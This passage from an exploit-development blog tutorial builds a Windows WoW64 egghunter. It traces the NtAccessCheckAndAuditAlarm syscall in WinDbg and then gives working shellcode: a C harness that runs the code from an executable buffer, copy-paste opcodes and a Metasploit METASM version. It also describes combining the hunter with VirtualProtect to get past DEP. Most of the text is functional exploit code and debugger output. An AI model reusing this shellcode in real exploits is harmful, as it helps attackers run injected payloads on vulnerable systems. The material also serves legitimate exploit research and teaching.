00000000`75435dde ff15acb5feff    call    qword ptr [wow64!_imp_NtAccessCheckAndAuditAlarm (00000000`75421390)] ds:00000000`75421390={ntdll!ZwAccessCheckAndAuditAlarm (00000000`777a15a0)}
0:000>
ntdll!ZwAccessCheckAndAuditAlarm:
00000000`777a15a0 4c8bd1          mov     r10,rcx
0:000>
ntdll!ZwAccessCheckAndAuditAlarm+0x3:
00000000`777a15a3 b826000000      mov     eax,26h
0:000>
ntdll!ZwAccessCheckAndAuditAlarm+0x8:
00000000`777a15a8 0f05            syscall

We reached our system call! Just to confirm there are no other local variables to my computer or for our C program, I went back and manipulated the stack values and reran with non-readable addresses and it worked fine.

0:000:x86> ed 0028ff04 000000A0
0:000:x86> ed 0028ff00 000000B0
0:000:x86> ed 0028fefc 000000C0
0:000:x86> ed 0028fef8 000000D0
0:000:x86> ed 0028fef4 000000E0
0:000:x86> ed 0028fef0 000000F0
0:000:x86> ed 0028ff0c 00000000
0:000:x86> ed 0028ff10 00000000
0:000:x86> ed 0028ff14 00000000
0:000:x86> ed 0028ff18 00000000
0:000:x86> ed 0028ff1c 00000040
0:000:x86> ed 0028ff20 00000050
0:000:x86> ed 0028ff24 00000060
0:000:x86> ed 0028ff28 00000070
0:000:x86> ed 0028ff2c 00000080
0:000:x86> ed 0028ff30 00000090
0:000:x86> dds esp-1c
0028feec  0028ff08
0028fef0  000000f0
0028fef4  000000e0
0028fef8  000000d0
0028fefc  000000c0
0028ff00  000000b0
0028ff04  000000a0
0028ff08  0008f000
0028ff0c  00000000
0028ff10  00000000
0028ff14  00000000
0028ff18  00000000
0028ff1c  00000040
0028ff20  00000050
0028ff24  00000060
0028ff28  00000070
0028ff2c  00000080
0028ff30  00000090
0:000:x86> g ntdll!ZwAccessCheckAndAuditAlarm
ntdll!ZwAccessCheckAndAuditAlarm:
00000000`779615a0 4c8bd1          mov     r10,rcx
0:000> t
ntdll!ZwAccessCheckAndAuditAlarm+0x3:
00000000`779615a3 b826000000      mov     eax,26h
0:000>
ntdll!ZwAccessCheckAndAuditAlarm+0x8:
00000000`779615a8 0f05            syscall
0:000>
ntdll!ZwAccessCheckAndAuditAlarm+0xa:
00000000`779615aa c3              ret

To confirm our system error in EAX is correct (and confirm we found a readable address in memory) we can do a dump and see that (on my computer) 0x8f000 (the starting address of the Egghunter on my system) is a valid area of memory.

0:000:x86> d 8f000
0008f000  00000000

At this point the routine will increase EAX by 1 until it finds an address in memory that it can not read from. To speed this up I am going to change EAX to 0x9000 since I know on my computer that address is not an existing memory block.

0:000:x86> u 9000
00009000 ?? ???
^ Memory access error in 'u 9000'

windbg7

Let’s go ahead and continue until wow64!whNtAccessCheckAndAuditAlarm+0x5d. This was going to be our first condition that we didn’t want to change. It will do a compare with RCX which is saved ESP+0 (EDX). We made this condition false on purpose.

0:000> u wow64!whNtAccessCheckAndAuditAlarm+0x67
wow64!whNtAccessCheckAndAuditAlarm+0x5d:
00000000`75145d05 33db            xor     ebx,ebx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x5f:
00000000`75145d07 3919            cmp     dword ptr [rcx],ebx ds:00000000`0028ff08=0008f000
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x61:
00000000`75145d09 7420            je      wow64!whNtAccessCheckAndAuditAlarm+0x83 (00000000`75145d2b) [br=0])

windbg8

When we get to the instruction “mov ecx,dword ptr [rcx]”, the “address to check” (0x9000 in this example) is read into ECX. The next instruction “mov eax,dword ptr [rcx+4]” will try and move the next 4 bytes (0x9004) into EAX. This is where an exception will occur, since this is not a valid memory area.

0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0x69:
00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4] ds:00000000`00009004=????????
0:000> t
(bf8.308): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wow64!whNtAccessCheckAndAuditAlarm+0x69:
00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4] ds:00000000`00009004=????????
0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

FAULTING_IP:
wow64!whNtAccessCheckAndAuditAlarm+69
00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4]

EXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00000000749d5d11 (wow64!whNtAccessCheckAndAuditAlarm+0x0000000000000069)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: 0000000000009004
Attempt to read from address 0000000000009004

FAULTING_THREAD:  0000000000000308

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  image00000000`00400000

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  0000000000000000

EXCEPTION_PARAMETER2:  0000000000009004

READ_ADDRESS:  0000000000009004

FOLLOWUP_IP:
wow64!whNtAccessCheckAndAuditAlarm+69
00000000`749d5d11 8b4104          mov     eax,dword ptr [rcx+4]

MOD_LIST: 

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 00000000749ccf87 to 00000000749d5d11

STACK_TEXT:
00000000`0008e270 00000000`749ccf87 : 00000000`0028ff00 00000000`0028ff00 00000000`7efdb000 00000000`7efdb000 : wow64!whNtAccessCheckAndAuditAlarm+0x69
00000000`0008e350 00000000`74952776 : 00000000`774401c4 00000000`749c0023 00000000`00000246 00000000`0028fff0 : wow64!Wow64SystemServiceEx+0xd7
00000000`0008ec10 00000000`749cd07e : 00000000`00000000 00000000`74951920 00000000`0008eea0 00000000`7727ecd1 : wow64cpu!TurboDispatchJumpAddressEnd+0x2d
00000000`0008ecd0 00000000`749cc549 : 00000000`00000000 00000000`00000000 00000000`749c4ac8 00000000`7ffe0030 : wow64!RunCpuSimulation+0xa
00000000`0008ed20 00000000`77294956 : 00000000`002c3600 00000000`00000000 00000000`77382670 00000000`77355978 : wow64!Wow64LdrpInitialize+0x429
00000000`0008f270 00000000`77291a17 : 00000000`00000000 00000000`77294061 00000000`0008f820 00000000`00000000 : ntdll!LdrpInitializeProcess+0x17e4
00000000`0008f760 00000000`7727c32e : 00000000`0008f820 00000000`00000000 00000000`7efdf000 00000000`00000000 : ntdll! ?? ::FNODOBFM::`string'+0x29220
00000000`0008f7d0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  wow64!whNtAccessCheckAndAuditAlarm+69

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: wow64

IMAGE_NAME:  wow64.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  4e212272

STACK_COMMAND:  ~0s ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_wow64.dll!whNtAccessCheckAndAuditAlarm

BUCKET_ID:  X64_APPLICATION_FAULT_INVALID_POINTER_READ_wow64!whNtAccessCheckAndAuditAlarm+69

Followup: MachineOwner

We can see that it tried to read from an invalid pointer, and threw an exception. If we pass the exception we will come out of WoW64 and return at our “cmp al,05” (break point needs to be set).

windbg9

So, as you can see, the exception wasn’t harmful to our code and we simply return from WoW64 into our 32bit process, without breaking the 32bit process.

If we look at our registers we can see that AL in EAX has the error code of 0x05, indicating a not readable. This condition will make our compare true, trigger a jump back to “OR DX,0FFF” and move to the next page in memory.

So it appears our Egghunter works and we are leveraging the conditional statements in wow64!whNtAccessCheckAndAuditAlarm to see if our area is readable. Let’s go ahead and set EDX to 0x400000 and see if we find our shell code.

windbg10

Woot! It looks like it found our code. So it appears our Egghunter is good.

So, to sum things up, I am going to be calling FS:[EBX +0x0c], so we need to have the following stack & register setup:

Stack layout at the time of the syscall “read test”:

  • 0x???????? (address to test)
  • 0x00000000
  • 0x00000000
  • 0x00000000
  • 0x00000000

Registers :

  • EAX : 0x26 (NtAccessCheckAndAuditAlarm)
  • ECX : 0x00000000
  • EDX : location of the addrress to use in the read test (set to ESP before the call). We pushed the address onto the stack, so simply set EDX to ESP
  • EBX : 0x0c

 

To achieve this, our code will

  • set EBX = 0
    • then push EBX 4 times on the stack
    • mov 0x0c into EBX
  • set EAX = 0x26
    • value to trigger NtAccessCheckAndAuditAlarm
  • set ECX = 0
  • set EDX = Egghunter searchable parameter
    • before our call move ESP into EDX, this is the location of where RCX begins comparing our parameters off the stack
  • EBX,ESI,and EBP will remain unchanged during our transition and our system call so we can use those registers for other purposes.

 

 

Coming back to our null byte ‘issue’ as well I decided to kill ‘2 birds with one stone’. During testing I realized that EBX will not be changed during our transition into WoW64 and our system call. So we can take advantage of the register to create sort of a stub to clear our the register (EBX) and push our nulls onto the stack and execute “mov bl, 0xc0” which will put TEB 0x0c into EBX and we can do a call with no null bytes.

Putting it all together I was able to get a 47 byte Egghunter. It is 15 more bytes than the traditional 32 bit. You can find the assembly and opcodes for the new Egghunter below.

 

#include 
#include 
#include 

using namespace std;

char code[]=
// WOW64 Egghunter written by Lincoln
// lincoln@corelan.be
// 64 stub needed before loop
"\x31\xdb"                            //xor ebx,ebx
"\x53"                                //push ebx
"\x53"                                //push ebx
"\x53"                                //push ebx
"\x53"                                //push ebx
"\xb3\xc0"			      //mov bl,0xc0

// 64 Loop
"\x66\x81\xCA\xFF\x0F"                 //OR DX,0FFF
"\x42"                                 //INC EDX
"\x52"                                 //PUSH EDX
"\x6A\x26"    //PUSH 26 
"\x58"                                 //POP EAX
"\x33\xC9"     //XOR ECX,ECX
"\x8B\xD4"      //MOV EDX,ESP
"\x64\xff\x13"         //CALL DWORD PTR FS:[ebx]
"\x5e"                                 //POP ESI
"\x5a"                                 //POP EDX
"\x3C\x05"      //CMP AL,5
"\x74\xe9"      //JE SHORT egg.0043F000
"\xB8\x77\x30\x30\x74"       //MOV EAX,74303077 w00t
"\x8B\xFA"                             //MOV EDI,EDX
"\xAF"                                 //SCAS DWORD PTR ES:[EDI]
"\x75\xe4"                             //JNZ SHORT egg.0043F001
"\xAF"                                 //SCAS DWORD PTR ES:[EDI]
"\x75\xe1"                             //JNZ SHORT 0043F001
"\xFF\xE7"                             //JMP EDI

//SC PAYLOAD
"\xcc\xcc\xcc\xcc\x77\x30\x30\x74"
"\x77\x30\x30\x74\xcc\x41\x42\x43\x44\xcc";

int main(int argc, char **argv)
{
  DWORD old;
  VirtualProtect(&code, 500, PAGE_EXECUTE_READWRITE, &old);
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

 

Perfect !

But there is another issue.

This Egghunter will only work on WoW64 systems.  So if you don’t know what OS your target is running, ideally you would need an egghunter that is generic and just works.

To overcome that limitation I wrote an assembly routine to see if WoW64 is present and to use either that or the 32 bit Egghunter.  In other words, you can use this Egghunter for 32bit processes running on native 32bit OS and within the WoW64 environment as well.

Essentially since the code segment for “are we running in WoW64” is set to 23 in a WoW64 environment, we can work a check for that into our code to determine which Egghunter to use through a few compare statements.

You can assemble the code below with NASM. Also just as an FYI you can XOR the EDX register if you want to speed up the 64bit search, during testing with WoW64 and when EDX contained a high value address, the hunter timed out or crashed.
In other words, this egghunter runs, but it will start searching at 0x1000 (if you have set edx to 0 first) and might time out/crash at the end of userland memory.  If it has found the shellcode before reaching the end, it will just work fine.
If you don’t want this to happen, you may have to use a different register to clear and push 0 to the stack, and set EDX to the startlocation you want.

Final code

[BITS 32]
; Corelan Team
; WOW64 Egghunter
; written by Lincoln 

The opcodes (copy/paste friendly) for this egghunter looks like this:

"\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
"\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
"\x2e\x5a\x3c\x05\x74\xea\xb8"
"\x77\x30\x30\x74"  # tag w00t
"\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
"\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

Or, in METASM (Metasploit friendly) :

; Corelan Team
; WOW64 Egghunter
; written by Lincoln 

egg_asm = %Q|

check:
        mov bx,cs	; see if cs:23 is running which is WoW64 is running
        cmp bl, 0x23    ; unchanged during syscall, does not need to be in the loops
        jnz egg		; will jump to regular 32 bit egghunter if not detected, otherwise goes to wow64 stub below 

stub:
        xor ebx,ebx	; clear stack params used by edx to make sure when converted to 64 bit during syscall does not mess egghunter
        push ebx	; push 0
        push ebx	; push 0
	push ebx	; push 0
	push ebx	; push 0
        mov bl,0xc0     ; put call to teb + 0x0c which is call to wow64cpu!x86switchto64bitmode

egg:
        or dx,0x0fff	; generic egghunter
        inc edx
        push edx
        cmp bl, 0xc0    ; unchanged during syscall, jmp to wow64 egghunter or continue to regular egghunter
			; to regular egghunter
        je egg_64

egg_32:
        push 0x2
        pop eax
	int 0x2e
	pop edx

egg_end:
        cmp al,0x5		;generic egghunter
        je egg
        mov eax, 0x74303077
        mov edi,edx
        scasd
        jnz  egg + 5
        scasd
        jnz egg + 5
        jmp edi

egg_64:
        push 0x38		;call to auditandcheck in syswow
        pop eax
        xor ecx,ecx		;param
        mov edx,esp		;param
        call dword [fs:ebx]	;jmp far to 33:WoW64
        pop ecx
        pop edx
        jmp egg_end
|

egg = Metasm::Shellcode.assemble(Metasm::Ia32.new, egg_asm).encode_string

 

When compiled it comes out to 67 bytes. Not ideal, but still smaller than a staged payload and this is completely universal. However we may still have one problem. DEP!

DEP

As you can read here, if DEP is enabled, we still need to call Virtual Protect or VirtualAlloc (or another bypass DEP function) to turn of DEP for the discovered shellcode. The technique implemented in msf and explained in our previous post, requires one of the registers to contain the pointer to for example virtualprotect and virtualalloc, so it can be resued to mark the found shellcode as executable prior to jumping to it.

Since EBP is unchanged in the routine above, we can use that register to hold the pointer to the function we need to call after the Egghunter has found our shellcode, and before jumping to it.

 

Windows 8 Update

Previously I wrote this article in 2011 before Windows 8 was released, however it appears this egghunter will no longer work starting on Windows 8. The system calls are now different in Windows 8 from Windows 7, and differ again in Windows 8 SP1. It appears all the system calls have been  either incremented by 1 or changed completely different.
 
We could probably write another stub to find out which environment we are in, but then that increases the size of the shellcode. Perhaps it is time to explore a different technique that we can use to make it more universal for modern operating systems.

 

Room for improvement?

Always! If you can find a way to make it smaller/better/faster, let us know.  We might work on getting this merged into the metasploit egghunter too… We’ll see.

Don’t hesitate to drop me a note

-Lincoln   (lincoln [at] corelan {dot} be  or Twitter)

Thanks

  • Corelan Team
  • Wife
  • Resources off Google
  • @tekwizz123 (thank you for spot check)

 


© 2011 – 2021, Corelan Team (Lincoln). All rights reserved.

Comments are closed.

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories